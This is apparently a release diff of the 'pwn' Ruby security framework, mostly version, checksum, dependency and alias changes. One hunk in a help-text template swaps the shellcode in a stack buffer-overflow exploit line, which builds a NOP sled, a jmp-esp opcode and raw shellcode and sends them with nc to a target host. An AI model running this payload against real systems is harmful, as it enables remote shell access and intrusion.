pwn 0.4.980 → 0.4.982

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 89550e01a362634e37a007e848bd850735a05bd5a6dcebfcc69820a908ae0b85
4
- data.tar.gz: 91e8218da188a4d6c36688fd42396e4d8d75190c07cfeb3f424aa3d3135b14eb
3
+ metadata.gz: 4646b8d1ca9c4401d1b0665649aac5c06bc498c8ce73a5accaa7a02492439349
4
+ data.tar.gz: fa56dcaff1ac73fad88388cb6024e873b6703f364066e9b28216cbe51fd6c672
5
5
  SHA512:
6
- metadata.gz: 342c40b4db0c6a4aec1468a360ce12b032a0471f66eab924340f35a214a8746df90378f60d8e38b7dde8a11545faef4410b123666a1a5f7e783c0172b415282d
7
- data.tar.gz: c18cf34d7a9f97be6d877588a81bce355871ec412666707bcd628909ee472127609fb0d3ef8df11e914b31ebf10ef7d46ce0bf5d7d9a77e46ed071a72bad2817
6
+ metadata.gz: 3989ba6b570c53427e005e7f6f083a78ff529951a224c728dadb05a97c1ebb1b9c8f0da76153e65e61598594e040f730d9e3de1c418d6f7bd1862db7e863007e
7
+ data.tar.gz: d1bfa284fb87d28e97ea56cded370a1ee62eee03351670a084554475af33a7739d6c94a6a38946cb636f20997f9ce17634fb4f52ee7c80c0f359dfefa90af22f
data/Gemfile CHANGED
@@ -80,7 +80,7 @@ gem 'ruby-nmap', '1.0.2'
80
80
  gem 'ruby-saml', '1.16.0'
81
81
  gem 'rvm', '1.11.3.9'
82
82
  gem 'savon', '2.14.0'
83
- gem 'selenium-devtools', '0.120.0'
83
+ gem 'selenium-devtools', '0.121.0'
84
84
  gem 'serialport', '1.3.2'
85
85
  # gem 'sinatra', '4.0.0'
86
86
  gem 'slack-ruby-client', '2.2.0'
data/README.md CHANGED
@@ -37,7 +37,7 @@ $ cd /opt/pwn
37
37
  $ ./install.sh
38
38
  $ ./install.sh ruby-gem
39
39
  $ pwn
40
- pwn[v0.4.980]:001 >>> PWN.help
40
+ pwn[v0.4.982]:001 >>> PWN.help
41
41
  ```
42
42
 
43
43
  [![Installing the pwn Security Automation Framework](https://raw.githubusercontent.com/0dayInc/pwn/master/documentation/pwn_install.png)](https://youtu.be/G7iLUY4FzsI)
@@ -52,7 +52,7 @@ $ rvm use ruby-3.3.0@pwn
52
52
  $ gem uninstall --all --executables pwn
53
53
  $ gem install --verbose pwn
54
54
  $ pwn
55
- pwn[v0.4.980]:001 >>> PWN.help
55
+ pwn[v0.4.982]:001 >>> PWN.help
56
56
  ```
57
57
 
58
58
  If you're using a multi-user install of RVM do:
@@ -62,7 +62,7 @@ $ rvm use ruby-3.3.0@pwn
62
62
  $ rvmsudo gem uninstall --all --executables pwn
63
63
  $ rvmsudo gem install --verbose pwn
64
64
  $ pwn
65
- pwn[v0.4.980]:001 >>> PWN.help
65
+ pwn[v0.4.982]:001 >>> PWN.help
66
66
  ```
67
67
 
68
68
  PWN periodically upgrades to the latest version of Ruby which is reflected in `/opt/pwn/.ruby-version`. The easiest way to upgrade to the latest version of Ruby from a previous PWN installation is to run the following script:
@@ -14,8 +14,8 @@ module PWN
14
14
  #!/bin/bash
15
15
  nop=$(printf \'\x90%.0s\' {1..1337})
16
16
  asm_ops=\'\xff\xe4\'
17
- payload=\'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\xcd\x80\'
18
- pwn="${nop}${asm_ops}${payload}"
17
+ sh_code=\'\x6a\x14\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0c\x09\x11\xb5\x83\xeb\xfc\xe2\xf4\x3d\xd2\xe6\x56\x5f\x4a\x42\xdf\x0e\x80\xf0\x05\x6a\xc4\x91\xee\x52\x5b\x79\xb7\x0c\x0c\x28\xdf\x1c\x58\x41\x3c\xed\x63\x77\xed\xc1\x89\x98\xf4\x08\xba\x15\x05\x6a\xc4\x91\xf6\xbc\x6f\xdc\x35\x9f\x50\x7b\x8a\x54\xc4\x91\xfc\x75\xf1\x79\x9a\x23\x7a\x79\xdd\x23\x6b\x78\xdb\x85\xea\x41\xe6\x85\xe8\xa1\xbe\xc1\x89\x11\xb5\'
18
+ pwn="${nop}${asm_ops}${sh_code}"
19
19
  echo -en $pwn | nc $TARGET $PORT
20
20
  '.red
21
21
  rescue StandardError => e
data/lib/pwn/version.rb CHANGED
@@ -1,5 +1,5 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module PWN
4
- VERSION = '0.4.980'
4
+ VERSION = '0.4.982'
5
5
  end
@@ -12,8 +12,8 @@ File.open(alias_file, 'w') do |f|
12
12
  f.puts "alias phantomjs='export QT_QPA_PLATFORM=offscreen; phantomjs'"
13
13
  f.puts "alias prep='ps -ef | grep'"
14
14
  f.puts "alias sup='sudo -i'"
15
- f.puts "alias vi='vim -i NONE'"
16
- f.puts "alias vim='vim -i NONE'"
17
- f.puts "alias tmux='TERM=xterm-256color tmux'"
15
+ f.puts "alias vi='vim -i NONE -b'"
16
+ f.puts "alias vim='vim -i NONE -b'"
17
+ f.puts "alias tmux='TERM=screen-256color tmux'"
18
18
  end
19
19
  system("sudo chmod 755 #{alias_file}")
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: pwn
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.4.980
4
+ version: 0.4.982
5
5
  platform: ruby
6
6
  authors:
7
7
  - 0day Inc.
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2024-01-22 00:00:00.000000000 Z
11
+ date: 2024-01-23 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: activesupport
@@ -968,14 +968,14 @@ dependencies:
968
968
  requirements:
969
969
  - - '='
970
970
  - !ruby/object:Gem::Version
971
- version: 0.120.0
971
+ version: 0.121.0
972
972
  type: :runtime
973
973
  prerelease: false
974
974
  version_requirements: !ruby/object:Gem::Requirement
975
975
  requirements:
976
976
  - - '='
977
977
  - !ruby/object:Gem::Version
978
- version: 0.120.0
978
+ version: 0.121.0
979
979
  - !ruby/object:Gem::Dependency
980
980
  name: serialport
981
981
  requirement: !ruby/object:Gem::Requirement